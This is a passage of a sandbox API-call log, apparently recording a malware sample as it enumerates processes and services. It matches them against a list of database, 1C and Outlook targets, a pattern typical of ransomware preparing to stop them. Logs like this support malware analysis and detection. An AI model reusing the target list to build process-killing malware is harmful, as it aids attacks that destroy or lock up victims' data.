hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0112.147] lstrlenW (lpString="reader_sl.exe") returned 13 [0112.147] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0112.147] lstrlenW (lpString="taskhost.exe") returned 12 [0112.147] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0112.147] lstrlenW (lpString="dllhost.exe") returned 11 [0112.147] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x338, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0112.147] lstrlenW (lpString="consent.exe") returned 11 [0112.147] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0112.148] lstrlenW (lpString="dllhost.exe") returned 11 [0112.148] Process32NextW (in: hSnapshot=0x3d0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0112.148] CloseHandle (hObject=0x3d0) returned 1 [0112.148] Sleep (dwMilliseconds=0x1f4) [0112.969] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab72b0 [0112.970] EnumServicesStatusExW (in: hSCManager=0x3ab72b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0112.970] GetLastError () returned 0xea [0112.970] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x11e4) returned 0x5e07c8 [0112.970] EnumServicesStatusExW (in: hSCManager=0x3ab72b0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x5e07c8, cbBufSize=0x11e4, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x5e07c8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0112.971] CloseServiceHandle (hSCObject=0x3ab72b0) returned 1 [0112.972] lstrlenW (lpString="Appinfo") returned 7 [0112.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0112.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0112.972] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0112.972] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0112.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0112.972] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0112.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0112.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0112.972] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0112.972] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0112.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0112.972] lstrlenW (lpString="AudioSrv") returned 8 [0112.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0112.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0112.972] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0112.972] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0112.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0112.972] lstrlenW (lpString="BFE") returned 3 [0112.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0112.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0112.972] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0112.972] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0112.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0112.972] lstrlenW (lpString="CryptSvc") returned 8 [0112.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0112.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0112.972] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0112.972] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0112.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0112.972] lstrlenW (lpString="CscService") returned 10 [0112.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0112.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0112.972] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0112.972] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0112.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0112.972] lstrlenW (lpString="DcomLaunch") returned 10 [0112.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0112.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0112.972] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0112.972] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0112.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0112.972] lstrlenW (lpString="Dhcp") returned 4 [0112.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0112.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0112.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0112.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0112.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0112.973] lstrlenW (lpString="Dnscache") returned 8 [0112.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0112.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0112.973] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0112.973] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0112.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0112.973] lstrlenW (lpString="DPS") returned 3 [0112.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0112.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0112.973] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0112.973] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0112.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0112.973] lstrlenW (lpString="eventlog") returned 8 [0112.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0112.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0112.973] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0112.973] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0112.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0112.973] lstrlenW (lpString="EventSystem") returned 11 [0112.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0112.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0112.973] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0112.973] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0112.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0112.973] lstrlenW (lpString="gpsvc") returned 5 [0112.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0112.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0112.973] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0112.973] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0112.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0112.973] lstrlenW (lpString="iphlpsvc") returned 8 [0112.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0112.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0112.973] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0112.973] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0112.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0112.973] lstrlenW (lpString="LanmanServer") returned 12 [0112.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0112.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0112.973] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0112.973] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0112.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0112.973] lstrlenW (lpString="LanmanWorkstation") returned 17 [0112.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0112.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0112.973] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0112.973] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0112.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0112.973] lstrlenW (lpString="lmhosts") returned 7 [0112.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0112.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0112.974] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0112.974] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0112.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0112.974] lstrlenW (lpString="MMCSS") returned 5 [0112.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0112.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0112.974] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0112.974] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0112.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0112.974] lstrlenW (lpString="MpsSvc") returned 6 [0112.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0112.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0112.974] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0112.974] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0112.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0112.974] lstrlenW (lpString="Netman") returned 6 [0112.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0112.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0112.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0112.974] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0112.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0112.974] lstrlenW (lpString="netprofm") returned 8 [0112.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0112.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0112.974] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0112.974] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0112.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0112.974] lstrlenW (lpString="NlaSvc") returned 6 [0112.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0112.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0112.974] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0112.974] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0112.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0112.974] lstrlenW (lpString="nsi") returned 3 [0112.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0112.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0112.974] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0112.974] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0112.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0112.974] lstrlenW (lpString="PcaSvc") returned 6 [0112.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0112.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0112.974] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0112.974] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0112.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0112.974] lstrlenW (lpString="PlugPlay") returned 8 [0112.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0112.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0112.974] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0112.974] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0112.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0112.974] lstrlenW (lpString="Power") returned 5 [0112.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0112.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0112.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0112.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0112.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0112.975] lstrlenW (lpString="ProfSvc") returned 7 [0112.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0112.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0112.975] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0112.975] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0112.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0112.975] lstrlenW (lpString="RpcEptMapper") returned 12 [0112.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0112.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0112.975] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0112.975] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0112.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0112.975] lstrlenW (lpString="RpcSs") returned 5 [0112.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0112.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0112.975] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0112.975] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0112.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0112.975] lstrlenW (lpString="SamSs") returned 5 [0112.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0112.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0112.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0112.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0112.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0112.975] lstrlenW (lpString="Schedule") returned 8 [0112.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0112.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0112.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0112.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0112.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0112.975] lstrlenW (lpString="SENS") returned 4 [0112.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0112.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0112.975] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0112.975] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0112.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0112.975] lstrlenW (lpString="ShellHWDetection") returned 16 [0112.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0112.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0112.975] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0112.975] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0112.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0112.975] lstrlenW (lpString="Spooler") returned 7 [0112.975] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0112.975] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0112.975] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0112.975] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0112.975] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0112.976] lstrlenW (lpString="SysMain") returned 7 [0112.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0112.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0112.976] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0112.976] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0112.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0112.976] lstrlenW (lpString="Themes") returned 6 [0112.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0112.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0112.976] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0112.976] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0112.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0112.976] lstrlenW (lpString="TrkWks") returned 6 [0112.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0112.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0112.976] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0112.976] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0112.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0112.976] lstrlenW (lpString="UxSms") returned 5 [0112.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0112.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0112.976] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0112.976] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0112.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0112.976] lstrlenW (lpString="WdiServiceHost") returned 14 [0112.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0112.976] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0112.976] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0112.976] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0112.976] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0112.976] lstrlenW (lpString="WdiSystemHost") returned 13 [0112.976] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0112.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0112.977] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0112.977] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0112.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0112.977] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0112.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0112.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0112.977] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0112.977] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0112.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0112.977] lstrlenW (lpString="Winmgmt") returned 7 [0112.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0112.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0112.977] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0112.977] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0112.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0112.977] lstrlenW (lpString="WPDBusEnum") returned 10 [0112.977] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0112.977] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0112.977] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0112.977] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0112.977] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0112.977] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5e07c8 | out: hHeap=0x4f0000) returned 1 [0112.977] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3c0 [0112.979] Process32FirstW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0112.979] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0112.979] lstrlenW (lpString="System") returned 6 [0112.979] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0112.979] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0112.979] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0112.979] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0112.979] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0112.979] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0112.979] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0112.979] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0112.979] lstrlenW (lpString="smss.exe") returned 8 [0112.979] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0112.979] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0112.979] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0112.979] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0112.979] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0112.979] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0112.979] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0112.980] Process32NextW (in: hSnapshot=0x3c0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0112.980] lstrlenW (lpString="csrss.exe") returned 9 [0112.980] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0112.980] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0112.980] lstrcmpiW (lpString1="outlook.exe", 